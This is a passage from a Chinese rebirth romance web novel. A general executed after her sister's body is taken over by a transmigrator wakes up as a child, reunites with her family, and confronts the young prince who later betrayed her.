《与暮色沉落》
1. 新生
“我的好慕儿,怎么沦落的如此狼狈啊~”
女人一身艳丽华服出现在格格不入的阴湿牢狱,一双绸缎锦鞋毫不顾忌地踩在浑浊的污水上,眼神轻佻地望着牢房里倚在墙壁上披头散发,身着残破戎装的女人。
明明身在狱中,牢中女子声色沙哑,侧头嘲讽道:“谁允许你这么唤我了?霸占我阿姐身体久了真以为江安的身份成你的了?”
“都这样了说话还是让人不喜欢,毕竟等明日你行刑完,我可就要带着你的心上人一起离开这了。”
牢中人忽的噤声,似觉荒唐般,抬起隐在凌乱黑发下浑浊的眸询问:“什么?”
“带去我的世界。”琴筱蹲下身,歪头双眼闪着得胜般兴奋的光直视着江慕,嘴角扬起一抹愉悦的笑。
“你那个夫婿我挺喜欢的,本来只是打算等任务攻略完就走,不过现在嘛……”
江慕强硬支起摇晃的身子,猛的握住铁栏,恨意上涌让她喉间不住咳起血。
“你,还有那个畜生是将天下百姓于不顾,没了一国之君咳咳咳”
琴莜眼底笑意欲浓,垂眸打量着女人染血的衣装。
“那又如何?这是你慕大将军该顾忌的,可不是我这个假姐姐哦~”
她伸手温柔挑起牢中人下颌,艳丽的眼尾扬起,声音怜爱又轻柔。
“你这幅模样真好看啊,再多痛苦一点吧~”
江慕烦躁挥开琴筱的手,毫不怜香惜玉,厉声道。
“...陈洛呢?让他来见我。”
这话不知怎的,让她原本的笑蓦地收敛,无趣地揉揉发红的手背起身:“他不会来见你的。”
江慕偏头轻嗤一声:“怎么?他这么没脸见我?”
琴莜没再理会,提起张扬的裙摆踏出肮脏的牢狱。
直至脚步声彻底消失,江慕才无力的坐靠在寒凉的墙体,双眼无神望着暗无天日的方寸之地,指上物什硌的发疼,视线落向那枚闪着冷光的玉戒。
好碍眼。
铁链发出一阵钝响,玉戒被粗暴地扔进灰暗的角落。
思绪混成乱麻,国无君,民无主,边境无人守,将军府被灭门,她好好的阿姐被突如的陌生人霸占身体名声尽毁,到头来一句“这一切人和事都是话本故事”。
大雪落满城,呼啸的寒风生刮在千百的人粗糙的脸上,晨光散在被人团团围住的刑场。
“将军府江家二小姐江慕因妄图弑君谋反,品行不端,败德辱行,不知悔改,判以死刑,即刻斩首!”
刑场下熙熙攘攘夹杂着“不公,重判”的反抗声。
女人站在刑场上方挺直脊背,目光凄冷,直直望向身居高位上冷漠睥睨着她的男人。
几日的牢狱之苦已让她喉咙发涩,但心中那股不甘还是驱使着念出那人的名字。
“陈洛。”
她知道没有回应,走到如今地步是她曾经怎么也想不到的。
命运荒谬又离奇,让她连恨谁都无从决定。
她握紧藏在袖中匕首,似是接受命运般合上眼。
百姓的呼声越来越大,卫兵拦住涌上前阻止行刑的民众。
“还不快行刑!”
随着这催促声响起,江慕的肩被两侧人强压住,闸刀飞速落下。
“咚!”的一声巨响,瞬息间,鲜红的血液飞溅,漫天飞雪落的更盛,滚烫的热血融化至薄薄积雪之上,融化至千百人的愤慨和哭诉声。
江慕,将军府的二小姐,守卫边关的一代功臣,声名在外,无人不敬仰赞美,却落得个通敌谋反,妄图弑君的罪名。
自小她有常年不归家在外征战却宠爱她的父亲,琴棋书画样样精通温柔溺爱她的阿姐,而幼年她虽爱捣蛋闯祸,却练的一身好功夫立誓要护佑天下万民,让礼越国不再陷入战乱。
十几岁的时候她如寻常少女般拥有懵懂羞涩的心思,喜欢上皇帝不受宠的却长得着实俊逸的二皇子,陈洛。
命运是如此眷顾她,15岁时陛下为他们赐下婚约,她也因此得到走近他身边的机会,他们如普通未婚夫妻般相知相爱。
雪夜一枚玉戒带着男人余温,一吻落于指尖,相对无言。
雪色如此寒凉,心却如此炙热。
美好破碎在初春寒凉的雨夜,阿姐一夜间变了性,嘴里尤爱念叨着她听不懂的话,“穿越”“任务”,时常盯着她诡异的笑。
她开始虽有所察觉却也不知缘由,直到叛国罪名从天而降落在将军府,除了她和那个不知名的女子,满门抄斩。
陈洛夺得皇位,血洗皇宫,她想阻止,一纸退婚书却送入废弃的府邸,她被命将功赎罪前往边关阻止流寇侵扰漓江。
五年漫长的蹉跎,回京时她得知皇后是莫名顶替她阿姐身体的女人,怀着满腔恨意她带人杀入皇宫,妄图手刃仇敌,与她同归于尽,冲动却使她轻而落入陷阱,在陈洛的授意下她被安了个谋反的罪名处刑。
漫长且无尽的黑暗中,江慕感觉自己好似陷在冷冽的深海中,回忆化作舒缓的流水拂过她身体的每一寸,鲜血与痛苦好似被抚平,柔柔暖意包裹住不甘酸涩的心。
一缕春日暖阳洒向她眉眼间,幼时陪伴她的侍女春摇唤着她“二小姐”,她涣散的思绪聚拢,挣扎着睁开眼,入目是铜镜中十几岁稚嫩少女的脸,身后比她年长的女子正在为她轻柔地梳理着发髻。
“小姐今天想要什么样的发饰啊?等会二殿下就要来看小姐了。”
她抑制住哭腔不可置信地唤了声:“春摇?”
女人在听到呼唤立刻俯下身盛着笑意应道:“奴婢在呢,小姐怎么了?”
江慕胡乱握住搭在肩上的手,确认不是她的幻觉。
春摇有些困惑地安抚自家疑神疑鬼的小姐询问道:“小姐可是不舒服?”
少女摇摇头,打量着镜中的自己,黑亮的长发,圆润青涩的脸,清透纯真的眸,左眼正中下一颗细痣,是10岁步入少女时候的她。
“只是做了个古怪的梦。
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”
“是什么?”春摇挽起少女的发,用银白发簪细致盘起。
“梦到你们都不在了,我也死了。”江慕垂下长睫,死气沉沉地回应道。
“小姐可是生病生糊涂了,快别说这些晦气话,我和家主都不会离开你的。”
春摇详装气恼得捏捏江慕脸蛋去晦气,随后又愉悦地摆弄起小姐那华丽玉亮的步摇。
“快看二小姐被奴婢打扮的多漂亮,等会一定会迷倒二殿下的!”
二殿下?
江慕应激般地抬起头,语气急切的发问:“陈洛?”
“小姐怎么能直呼殿下名讳,陛下虽有意撮合你二位,但小姐也不能少了礼数。”
前世的过往历历在目,她对那人的感情太过复杂,只能暂且先逃避着。
想到这,江慕不自觉偏开头,推开春摇要继续添饰品的胳膊。
“让他回去,我不想见他。”
“小姐这是何意?前日子还在府上念叨个不停,这人终于来了怎么反倒不愿意了?”
......
在春摇的软磨硬泡下,江慕穿上粉艳招摇的衣裙走向庭院等候多时的少年。
“二殿下安。”她僵硬地念出这个称呼。
13岁的陈洛一身玄色常服袍,用白玉簪束的黑长发随迎来的清风飘逸,白皙的脸上冷厉的眉眼有着不同曾经的独属少年的稚嫩,长睫下一双黑眸如梅花般清冷傲然。
他收回打量指上银戒的目光,看向缓步走来的女孩微微点头,扯起抹浅淡的笑意回了句:“江二小姐。”
“父皇听闻你前几日得了风寒,特让我带了些皇家上好补品来看望你。”
呵,病要好了来送药。
“那真是多谢陛下与二殿下的好意了。”心里虽有万分不爽与厌恶,江慕也只能恭敬谢恩。
“江二小姐病可好些了?”
江慕垂着头,不愿多看眼前人一眼回道:“好多了,多谢二殿下关心。”
话落,是长久的沉默。
她沉不住气地抬眸正巧对上少年的冷淡漠然的眉眼,愣神片刻,陈洛似有些不自在的偏头,才轻声开口:“两日后父皇寿宴,父皇他挂念二位还请府上两位小姐莫要缺席。”
“江大小姐事务繁忙,还劳烦江二小姐代劳问候。”
“嗯嗯知晓了。”江慕敷衍应付着,有气无力地点点头。
那人站在原地却迟迟没有要走的意图,唇翕动许久后才道。
“嗯...还有你前些日约我同逛市集的事...我会赴约的,告退。”
嗯?那是何时的事?
“等等,我何时...”
奈何陈洛根本没有给她发问的机会挥袖快步离开,只留下懵逼的她在原地。
陈洛虽依旧是幅正经冷淡的模样,但江慕还是从中感受到了些拘谨?尤其是...
在暖光照耀下躲藏在黑发下那对发红的耳尖。
他到底在害羞什么...
2. 家人
回到过去,获得崭新的人生,江慕只想迫不及待地见到她的好阿姐。
木门被“轰”地一声推开,屋中女子长发披肩,雪色的皮肤,一双柔情似水的眼眸,长睫卷而翘,气质出尘落落大方,如兰花般清新脱俗,温婉恬静。
这才是她真正的阿姐,而不是那个之后侵占她身体,败坏她名声的异界者。
“阿姐!”
“怎么了,慕儿?”江安停住手中翻动书卷的手,适时抬头弯起抹温柔的笑。
江安只觉鼻间忽的迎面扑来淡淡茉莉花香,少女的头用力蹭蹭她的脖颈。
“病好了就开始黏我了?”
眼前人眯起眼,玩笑般地捏捏她发红的鼻间,江慕闷闷地撒起娇来。
“想你了,阿姐~”
“你啊~一这样准没好事情,又给我搞了什么烂摊子啊?”
江慕有些不悦偏过头,不满道:“你就不能想我点好吗?”
正斗嘴着,房门外忽地响起一阵骚动。
“小姐,张婆婆听说你病好了可高兴了,特意给你做了你喜欢的绿豆糕,还有杏仁糕。”
张婆婆是将军府的主厨,50多岁的年纪一直没嫁人,待身边的主子下人都很温和,对江家姐妹两个更是视作自己的亲骨肉。
四五盘精致糕点挤满桌案上,张婆婆脸上堆满了笑,摸摸自家二小姐的头,不自觉感慨了句。
“小姐的风寒总算是好了,我也不必夜夜忧心了。”
幼年时,张婆婆总会在江慕生病时陪伴她左右,夜晚握着她的手枕在她床头,偶有动静就会清醒过来看看状况,为她擦汗。
忆起往事,江慕不自觉垂眸眼眶发红。回过神时,她已毫不犹豫大快朵颐连咽下三四块糕点。
“好吃,阿婆手艺还是那么好!”她边吃着边不住夸赞道。
尽管这样的糕点她后来已经吃过了无数次,但阿婆亲手做的味道总是不同。
张婆婆看她吃的这样开心,心情也跟着快活起来:“小姐,慢些吃,我还做了很多。”
“二小姐刚大病初愈,怎么就给她吃甜食,不是让你给她煮粥喝吗?”伴随着一阵脚步声,一道带点愠怒的声音响起,是掌事嬷嬷。
“啊,粥我也煮了,这不配着糕点吃嘛?”张婆婆一脸无辜的回应。
惹得掌事嬷嬷是又好笑又好气,“你…唉!”
“哎哟,慕儿开心就让她吃吧,没事的。”江安一手捋着江慕打结的黑发,另一只手也执起一块杏仁糕塞放入口中,打圆场道。
“大小姐,你就惯着她吧,最近张老婆子背着我不知道给二小姐吃了多少糕点了,到时候大将军回来了准说小姐胖了,这学武的人哪有日日甜食不离嘴的。”掌事嬷嬷一脸严肃训斥道。
“嘿嘿,二小姐胖了,大将军才高兴呀!”春瑶插话道:“到时候还要抱我们小姐转圈圈呢。”
“春瑶,莫要胡闹了。”掌事婆婆无奈的摇了摇头,绷着的脸也缓了些许。
饭桌上一片欢声笑语,两姐妹也相依偎在一起融在这美好的画卷中,这久违的温情,让江慕感到一阵失而复得的不真实感。
她有多久没有享受过这样的情景?
想起前世皇帝陈卓萧在位时,将军府除了她和那个穿越者满门抄斩,当她骑马飞奔回府时,早已尸横遍布,鲜血四溅,仆从四处逃窜。
“阿婆!”她忍着即将夺眶而出的泪,扶起被推搡间跌倒在地的张婆婆。
“没事的,阿婆,我不会让你死的,我带你离开这。”
明明死亡近在咫尺,她却仍然笑着,止住江慕想带她出逃的手,将手里的一包用油纸包裹的糕点塞到她的手中道:“逃不掉的,婆婆都一把年纪了,总要面临的,你也别哭丧着脸,喏,拿着。”
“婆婆知道你爱吃糕点,小时候老缠着我念叨,婆婆之后不在了你吃不了,肯定要哭鼻子,特意给你备着的,就是可惜,以后不能给你做了…婆婆我好想…”
下一秒,背后刀刃闪着瘆人的冷光毫不留情地落下,血溅在油纸上。
原本安抚着她的温热掌心连同她脸上的笑一齐止住,余下的话也戛然而止。
“阿婆!”
江慕捏着染红的油纸,血液粘稠在她的指尖上,她却浑然不觉,只是茫然的看着眼前的人缓缓倒在她肩上,鲜血越流越多。
后来她去寻了春瑶和掌事嬷嬷的尸首,亲自埋葬了他们,整理衣物时,从中翻出两张带血的字条。
“小姐,奴婢以后不能陪着小姐,奴婢没什么文化帮不了小姐什么,只希望小姐能好好活着。”
“二小姐,我与大将军绝无谋反之心,可如今皇帝昏庸,听信他人谗言,我与将军虽无能,但能护下你已无憾,至于大小姐...”
……
那时,她才确信阿姐已经不是曾经的她了,而污蔑将军府致使她家破人亡的正是那个所谓的“穿越者”。
这件事已经过去很久了,江慕不愿再继续回想。
还好,一切都重来了,她们都还在,还可以陪自己很久,很久。
她会尽自己所能护好她们的。
在府上惬意享受了两日,陛下的寿宴也临近。
寿辰当日,柔和光线落入屋内的木质地板,茉莉薰香飘散在暖容的空气中。
“已是巳时了,该醒了,二小姐,马车已在外面备好了。”侍女声音在门外响起。
江慕被鸟雀声吵醒,皱了皱眉,在床单上滚了几圈,才翻身坐起,揉揉乱蓬蓬的头发。
门外的侍女听到动静,推门而入,为江慕洗漱妆扮。
春摇为她换了一身水蓝色云纹纱裙,头发用两条蓝色发带扎至两边,使她整个人看上去乖巧可爱。
看着自己的精心搭配的“娃娃”,春摇欣慰的点了点头
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。
不亏是出自她手。
“小姐果然只要稍一打扮,就看着惹人爱。”春摇边说着,边从首饰盒中挑出两个细银镯套上江慕的右手腕上。
“当然,前提是小姐不打架。下月春学堂就要开课了,小姐可断不可再与那隔壁林家少爷胡闹了!”春瑶带着点不满地看着自己家的小姐。
她可是清楚的记得上次小姐穿着那条大小姐送给她的粉艳百褶裙欢天喜地……去跟对面林少爷干了一架,结果被怒气冲冲的林家夫妇提着回来,对着家主就骂到:“你们家江慕怎么回事啊?天天三天两头来我们这打架,还声称跟他比武,这次直接把我们家小纪打得裤衩子都烂了!现在还在府上哭。”
至于那条裙子,更不必说了,不仅沾了泥,上面还烂了几个大洞。
似乎也记起了自己的陈年旧事,江慕有些不好意思的笑了笑,不服气地回怼。
“哎呦,都说了是人家自己要来跟我比试了,输了怪谁啊。”
春摇不禁叹了口气,也不知道小姐遇到喜欢的公子该怎么办?难道也揍一顿强迫对方与自己在一起?
脑中浮起这样微妙的画面,春瑶迅速摇了摇头,打散这些不切实际的想象,又看了一眼自己侍候的水灵漂亮的小姐,美颜滤镜瞬间拉上了十几挡。
我们家小姐那么可爱,肯定不会这样粗鲁的,能被我们小姐追,那公子定也是乐在其中的,不会不知好歹。
辰时,坐上前往皇宫的马车,江慕安稳地倚在江安的肩上小憩了一会后,抬手撩起帘子,打量了会外头热闹的市集。
马匹的打鼾声,孩童纯真的笑声,小贩热情的吆喝声,简单纯粹,这才是她礼樾国原本的风貌。
一旁的江安眯起眼有些八卦地问道:“我听说你昨日邀请到了心心念念的二殿下哦~”
江慕心下一紧,扶着帘框的手顿住,不自在地回了句。
“他莫名其妙提的,不说我都忘记什么邀约了。”
江安意味深长地盯着江慕,故意拖长语调:“不好意思了嘛~我还记得你八岁的时候一见到人家就抱着不撒手,现在变矜持了吗?”
“小小年纪就懂情情爱爱了,馋人家的脸蛋,咱爹知道了不得气死。”
“你也别太担心,陛下有意为你们指婚...”
本是起着逗弄的心思,却不想江慕表情反而认真起来了。
“阿姐,你往后别提他了,我不会跟他成婚的。”
“...嗯?怎么了,不喜欢他的脸了?”
恐气氛尴尬,江慕扬起抹随意的笑,重新倒回江安身上,也玩笑般提起她的事。
“你也别老讲我啊,才比我年长5岁而已,不也小小年纪就订婚了吗?”
“你也跟我讲讲喜不喜欢太子殿下啊~”
没料到被江慕反将一军,江安佯装生气回:“现在都敢顶撞我了,长胆子了啊。”
3. 过往
清拂宫,专门设宴的场所。
辉煌的宫门口,达官显臣们皆纷至沓来,个个衣着华贵精致,关系热络的并肩聊着天,询问彼此为陛下准备的寿礼。
江慕低垂着眉眼,乖巧地随着江安步入清拂宫。
她小心翼翼的扫了一圈宫内的人,直至目光顿在那个熟悉的身影上,陈洛今日着一身月白色波纹衣袍,头发披散着,让他看起来温润亲和。
只是在父皇的寿辰穿白衣总会让人起疑。
此刻的他一只手握着茶杯,出神地盯着杯中晃动的波纹,不知在想些什么。
似是察觉到了什么,陈洛抬头,缓缓将目光移向她,两人的视线在半空中短暂交汇,便避开了。
江慕就这样看着他起身,向她们走来,手不自觉的悄悄攥住了上衣的衣角。
猛然间,江慕看到一个竖着高马尾身材高挑的少年,渐渐来到她的面前,每走一步她的心跳便快一些,她看着他俯下身,盯着她茫然的眸,露出有些无奈的笑,唇一张一合,她依稀听到那句话。
“江二小姐,就那么喜欢盯着我看吗?”
她短暂失神了片刻,这是18岁的陈洛,意气风发,潇洒自在的少年郎,此刻他的神情不再像平日那般冷淡,看着她的眼神中有抹无法掩饰的温柔。
她不知道为什么会看到前世他们亲密的情景,有些不受控制的想要张嘴说话,却注意到自己纤细的手指和起伏的胸。
她怎么变回……
“江二小姐。”清冷的声音一下子将江慕从刚才的恍惚中回神,眨了下眼,刚刚的画面也一闪而过,好似从未发生。
她才意识到自己一直失态地盯着陈洛看,慌忙行礼:“二殿下。”
陈洛眼中没什么情绪,只轻微点头,随后向一旁江安开口道:“江大小姐,父皇邀你聊些家常。”
“可慕儿……”江安面露难色。
“二小姐交由我照顾便好。”
“那便...多谢二殿下了。”江安犹豫了瞬,没拒绝。
“无妨。”
江安交代了自家不省心的妹妹几句,便快步离开了。
“江二小姐,请。”陈洛微一侧身,示意让江慕先走。
江慕也没扭捏,只是刚刚的那些画面仍旧挥之不去,让她心绪烦躁又矛盾。
两人依次落座,江慕虽面色平静,眼神却不知落在何处,余光里的人让她不敢动,只能低着头一眨不眨的盯着腿上攥着衣裙的手,浑然没有发现裙子已被捏出了褶皱。
回想起方才情景,她忽感到喉咙有些干涩,伸手去拿茶壶倒水,结果手一颤,几滴茶水被抖到桌上,她瞟了一眼旁边的人,故作自然的用袖子擦掉。
陈洛将这一切尽收眼底,只是将目光移向别处,开口打破了尴尬的气氛。
“御膳房新出的糕点,江二小姐可以尝尝。”
江慕这才将目光移至餐盘上,几个颜色粉嫩,花瓣形状的糕点堆叠在玉盘上。
她好奇心驱使着拿起筷子夹起一块,放在嘴边咬下一半,咀嚼了几下,甜味瞬间在口腔中绽放,味蕾幸福地跳动起来。
江慕眼睛一亮,几乎是下意识的,她侧过身将另一半递到陈洛面前道:“好好吃,你尝尝!”
陈洛侧眸,没动,只是静静的注视着她,黑眸意味不明。
恍惚间,她又看到那个少年俯下身,柔顺长发滑落至胸前,他轻含住那半块糕点,停了几秒,眼睛带着点蛊惑的意味抬眸盯着她,而后,收回身子,在嘴里细细品尝了翻才咽下,笑着缓缓点头:“嗯,好吃,过几日我也学做些给你尝尝。”
江慕眼睫一颤,回过神,被眼前人的目光盯得发悚,手一抖,那半块糕点掉落在衣裙上。
陈洛收回目光,从衣袖中拿出帕子俯身递给她,两人缓慢距离拉近。
“江二小姐,可要当心些”。
他声音很低,没什么情绪。
“多谢二殿下。”江慕接帕子的手有些僵硬,强硬避开那道无法忽视的视线,沉默地将衣裙打理干净。
曾经缱绻的相处如同恶鬼缠着她,让她面对这个没有记忆的人常常怀着怨恨和失措。
许是记忆错乱,让她整个人都不清醒了。
寿宴全程四个时辰,大臣们献完寿礼便开始喝酒谈笑,欣赏舞姬们的舞蹈和乐师们欢纵的琴声。
时间久了,江慕也没那么局促不安,那些让她心绪不宁的情景也被她暂时抛之脑后,她百无聊赖地撑着脑袋,两双眼睛来回扫视起殿中形色各异的人。
江安坐在陛下身侧,不知在讲些什么,引的皇帝皇后俩时不时露出赞许的神情。
江安比江慕年长不过五岁有余,不仅长相淡雅素静,受人追捧,而且琴棋书画样样精通,颇惹陛下喜爱,15便担起家主的责任,18岁时被皇帝亲封为京城第一才女。
反观江慕,除了在武功上用心,爱读些兵书外,其他就……不言而喻了。
江慕想起皇帝陈卓萧见到她常说:“听说慕儿又把林公子给打了,果真是有活力,唉,与她阿姐性子完全不同,罢了,往后便随你父亲上战场尽国效忠也不错。”
对此,江慕并不在乎,毕竟上战场打仗也是挺威风的。
礼樾国对男女没什么刻板印象与规训,在这个时代,女子可以上兵打仗,男子也可以学习些精细的手艺,没有过多局限。
江慕又将目光移向对面为首坐着的太子陈亦,他比阿姐大上一岁,着一身银紫白纱衣袍,长发束在脑后,俊美的脸上一双锐利的眼,五官周正,轮廓硬朗,眉宇深邃,一股正气凌然的气息。
前世他被换了灵魂的阿姐欺骗,皇位被夺后打入大牢不久就没了音讯,民间传闻他在牢中自尽了。
夜色欲浓,寿宴相安无事地结束,回到将军府,已是申时。
江慕褪去繁复的衣袍,抖落间帕子飘落在地,她刚想拾起随意找个地方收起来,手却蓦地搁上一处绣线花纹,她好奇地翻过,图样在昏黄的烛火下显现,手指轻触上明显粗粝的绣线,过往如画卷不可控的滚动起来。
鸟雀落在窗棂上叽叽喳喳地叫,偌大宁静的府邸上,少女窝在少年怀里撒气地将绣了一半的帕子仍在桌上嚷嚷道:“不绣了,这个难绣死了,看的我眼睛都疼。”
身后人无奈地笑笑,头抵上她的右肩上蹭蹭,发丝在胡乱间纠缠在一起,呼吸相碰,那人闷闷地放柔声音哄道:“好,那我给我们慕儿绣好不好?我们慕大人的手以后可是要握剑的,这种精细活还是交给你的小洛子吧。”
“切,少搁这奉承我了,还不是你想要的。”
陈洛抬起原本环在江慕腰间的手,拿起针线继续沿着前人蹩脚的针线绣起来。
“我的错,竟然因为自己的生辰就强人所难。”
“咦~我怎么感觉你这语气有些不服气呢?”
“怎么会?”
少年似乎一点都不因为女子的无理取闹而气恼,嘴角的弧度更甚,将怀中人搂得又是一紧,轻轻在江慕的脸侧落下一吻。
白帕上清雅无暇的茉莉花刺的她心口密密麻麻的疼,和前世一模一样的花纹,为什么会出现这个时间线。
三月春,万花齐放,清爽的风扑面,离学堂开课不过两日,江慕偷溜出府,争分夺秒的珍惜最后玩乐的时间,游荡在热闹繁华的市集上,却破天荒引来春日的第一场雨。
细密的雨丝滴落在头顶,激起一阵凉意,干燥的泥地被转瞬变大的雨水打得粘稠湿润,肆意的风刮动起脆弱的树枝绿叶,土腥味漫过鼻间,江慕护着头暗骂了句“倒霉”,奔向附近的商铺,随后一股极淡的血味被她捕捉。
她瞥眼望向近处黝黑肮脏的小巷,里头传出细微的嘈杂声,江慕皱了下眉头,隐隐猜到了什么,抬脚踏入。
“你个没娘的贱蹄子天天摆张脸给谁看呢?”
“爷一开始看你是个皇子不敢搞你,结果压根没人管你嘛。”
“还得是齐少爷厉害,不然真被他天天那傲气样骗了。”
......
“喂,你们三...干嘛呢?”
少女长发高高束起,一缕黑发搭肩,双臂环胸,微歪着头打量着巷头几人,凉风撩起碎发遮盖下凌厉带着凉意的眼,衣诀翻飞。
围殴的三人中一着装华贵的被称为“齐少爷”的男孩松开抓着那落魄人的衣领,不爽地回头刚想破口大骂,就在看清江慕脸后僵硬地愣在原地。
“
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关你娘的...呃!慕姐头?”
听到这个陌生而久违的称呼,江慕整个人都不太舒服起来。
幼时这些不学无术的达官显贵就专挑些看不爽的孩子取乐,好巧不巧9岁时候挑上了她,本以为她只是衔“将军府”名号的软柿子,不想却被当时比他们小上几岁的女娃娃打的狗血淋头,还被强硬屈辱地叫“慕姐头”,本以为这几个畜生已经改邪归正了,没想到还在搞这些勾当。
“慕姐头,我们不是故意欺负他的,是这小子犯浑!”
“啊...啊啊是是是,我们不是有意的,我这就给他赔罪。”
“二...殿下您可无恙,我扶你起来哈~”
......
她挑眉看向依在墙角的少年,那人头发胡乱披散挡住冷淡的眉眼,一道艳丽的血痕绽放在洁白无暇的脸上,墨色衣袍上落下大大小小细微的伤口。
竟然是陈洛?
江慕想起来了,她前世也仗义出手救过在巷子里受伤的陈洛,也是那个时候迷上这个人漂亮的脸,毕竟是连受伤都如此动人。
江慕能感觉自己内心对陈洛的感情是矛盾的,在她家破人亡时选择退婚背叛隐瞒她,征战回来报仇却下令处死她,这些举动五一不让她恨他,但那些相处萌动出的爱她却又无法割舍。
这段时日,她时常想着要不趁着陈洛还是少年人杀了永绝后患,可那些美好的记忆又无一不攻击着她那颗犹豫的心,理智回归,才意识到哪怕陈洛再不受宠终归也是皇子,先不说能否顺利解决,万一查上她,整个将军府都得搭上。
既然杀不了,不如就欺辱他,这样他们之间余留只剩她一人铭记的情意也可消逝殆尽了吧。
想到这,江慕故作轻松地扬起一抹笑,踱步上前嘲讽道:“我说,你们欺辱人的手段能不能别那么低劣啊?”
她一脚踩上倒在地上少年的锦袍一角,狠狠碾下刚刚奔跑间沾上的烂泥。
江慕玩味地拽起陈洛破损的衣领将他整个人强硬地撞在灰黑的墙面,陈洛闷哼一声,才抬起暗色的眸对上她挑衅的目光,尽管处境落魄却仍一幅目中无人的傲慢神色,只在察觉少女眼中那丝恨意皱眉,来不及思索两人的过往,一记耳光就已飞来。
莹润的脸上瞬间浮上一片绯色,火辣辣地疼滋得心间发痒,这一巴掌可谓是毫不留情,脑子混沌得只余嗡嗡声响,他吃痛地咬了下血腥味的下唇,一些怪异的记忆和情绪充斥在脑海,让她对眼前女孩生不出一丝一毫的怒气。
这幅模样不经让江慕回想到前世,那个时候陈洛黏人的要死,总喜欢时时刻刻将她整个人揽在怀里,偶尔会窝在她颈间,同她念叨幼年时的事情。
富家子弟是怎么仗着他不受宠言语凌辱欺压他的,他是怎么独自一人在凄凉的屋中入睡。
少年人长发乖顺的耷拉在她胸前,低垂着长睫,玉白的脸不住惹人怜爱。
“很小的时候我娘会跟我讲她村落的事情,说她喜欢那个会巫术的银发少年,她在那还有个黏人的妹妹,村落的人对她都很好...”
“我那是不懂他们为什么造谣我娘,她分明那么好。”
江慕安抚地拍拍怀里人的的脊背柔声道:“我相信你,我不会听信这些谣言的,是他们没有分辨能力,不是你和你娘的错,这世道总会将错怪在女子身上。”
“而且你现在有我了,以后你的慕大人会保护你的。”
“那我就把自己交付给你了,你可要对我负责。”
......
那个时候的他会想到多年后会他下令处刑她吗?江慕不明白明明当时的感情那么真,为什么还要背叛她,欺骗她,为什么对她始终缄口不言。
发泄的话哽在咽喉,她看着面前稚嫩的少年,仿佛又看到那个比他高大许多的人将头埋在她心口的画面。
她到底该怎么做,才能结束过往的一切?
陷入沉思间,江慕耳中就落入一句话。
“慕姐头,你为什么奖赏他?!”
?
刚想痛斥齐渊不会讲话,一低头看见这人表情更是怒火中烧,上一秒的心软瞬间灰飞烟灭,忍无可忍骂了句脏话。
“你他娘的笑什么?!”
4. 雨幕
“我很好奇...”
身下人抬起浓墨的眼眸探究般得打量起她的脸,额前湿黑的发勾连着带血的嘴角,陈洛完全没如江慕想象的因被羞辱而显出一分一毫的厌恶。
简直诡异。
“我们是不是上辈子见过啊?不然......为什么每次见我都一幅苦大仇深的样子?”
这微妙的话语瞬间引得江慕整个人都呆愣住,不过一瞬她便摆回原本狠辣的模样,讥讽道:“你话本看多了吧,还上辈子,这辈子过明白了吗?”
话落似有些心虚般转头冲着后头几人吼了几句。
“喂,你们几个也别看戏了,赶紧滚,本小姐一个就能收拾好。”
以齐少爷为伍的几人在收到命令后几乎是解脱般落下细细碎碎“太好了”“多谢不打之恩”“告退告退”就一刹消失了。
再回神时,江慕乍然对上陈洛阴恻恻的眼,烦躁地咬牙一手狠掐这人胳膊上溢血的伤口,愤愤开口道;“我劝你别想些有的没的,我就纯看你不爽想打你!”
陈洛被刺痛冲得眯了下眼,胳膊疼地发颤,牵强扯起一抹笑道:“我还什么都没说呢,你这么气做什么?”
当然,这笑没维持多久,胸口又结结实实挨了一拳。
细雨绵绵落在两人的袍服,打湿的衣衫暧昧地粘黏在一起,血混着腥咸的雨在晦暗的巷头发酵。
许是将前世种种泄愤够了,江慕才大发慈悲地拍拍他破皮的脸想起身,打量了下他粗重的呼吸,松口气。
还好没打死。
一只手却忽地死死揪住江慕的衣袖的手不放,陈洛压着发涩的嗓音艰难开口:“你要走了吗?”
江慕皱眉利索地扯开他的手,毫不吝惜得挥挥衣袖瞟他一眼道:“不然呢,陪殿下在这里发臭吗?还是被打的舍不得了?”
“明日你还会赴约吗?”少年撇去刚刚满眼的戾气,换上幅颇为可怜的面孔望着她扯起了另一个毫不相干的话题。
怎么还记的那个约。
江慕真感觉现在的陈洛被换了壳子,前世这个时候他还是高傲的二皇子,哪怕被凌辱也是丝毫不将他人放在眼里,怎么现在被欺辱后还求着见面。
实在是受不了那个无辜忧伤自带破碎美的漂亮脸蛋,江慕不争气地瞥开视线不耐回道:“知道了,我会去的。”
视线在角落人满身的伤徘徊许久,江慕终是不忍心,翻翻衣兜,卓为别扭地将一个精致的玉瓶子抛给陈洛。
“药,别说伤是我打的,殿下身边人问了就说是齐渊打的。”
远在他处的“齐少爷”:???
语毕,江慕似有些愤恨自己矛盾的行为而头也不回地快步离开巷子。
冷瑟瑟的风刮在发热的脸上,全身的燥意消了些,江慕才恢复点神智。
她清楚的意识到这个刚刚临时起意的欺压计划是失败了,因为打他,陈洛压根就不生气啊!
当江慕穿着凌乱带血的衣袍回府,她如预料般接受全府人的关照。
“呜呜呜小姐你怎么浑身是伤啊,是不是被打了?”
“慕儿,你可是被欺负,这怎么全身是血的?”
“小姐遇事跟阿婆说,阿婆替你收拾她?”
“二小姐这是又闯祸了?”
“这打架也不至于这么严重吧,二小姐会不会遇到匪徒了唉,我们可怜的小姐啊”
......
看着一群人慌慌张张地模样,江慕很想告诉他们,其实是她单方面打了人,还打的皇子,甚至差点给人打死了。
江慕闭眼就着四五个侍女的力气被驮着换洗衣物,清理狼狈的自己。
''''唉?小姐,你这衣服全是血的,怎么身上一个口子都没有啊?”
“呃……身体好吧,恢复的快?”
江慕心里默默吐槽,怎么可能有伤,血全是陈洛身上沾的。
“春摇,明日我去逛逛市集,你帮我打扮的丑点。”
忙活着清洗的春摇擦了把脖颈的汗,没多细听就信心满满地回应。
“遵命,小姐,我明日定给你装扮的丑...?哎,小姐,你刚刚说什么?”
竖日未时,阴云遮日,灰蒙蒙的天气宛如失色的油彩,湿漉漉的冷意圈绕在四周,可谓不是个好天气。
江慕着一身素雅的绣花长裙,发尾缀着水蓝色绒花发簪百无聊赖地蹲在来往的市集上,她不知第几次抬头瞟向远处寻觅那个相约的少年,仅剩的耐心被点点消磨。
尽管吩咐过春摇要打扮地难看点,但身为“主子奴”的春摇是无论如何都不允许自己的小姐丑丑的上街。
一旁的商铺老板收完银子有些看不下去似的开口:“姑娘在等人吗?这都半个时辰还没等到啊?”
“啊?是啊。”江慕撩起疲倦的眸附和几句。
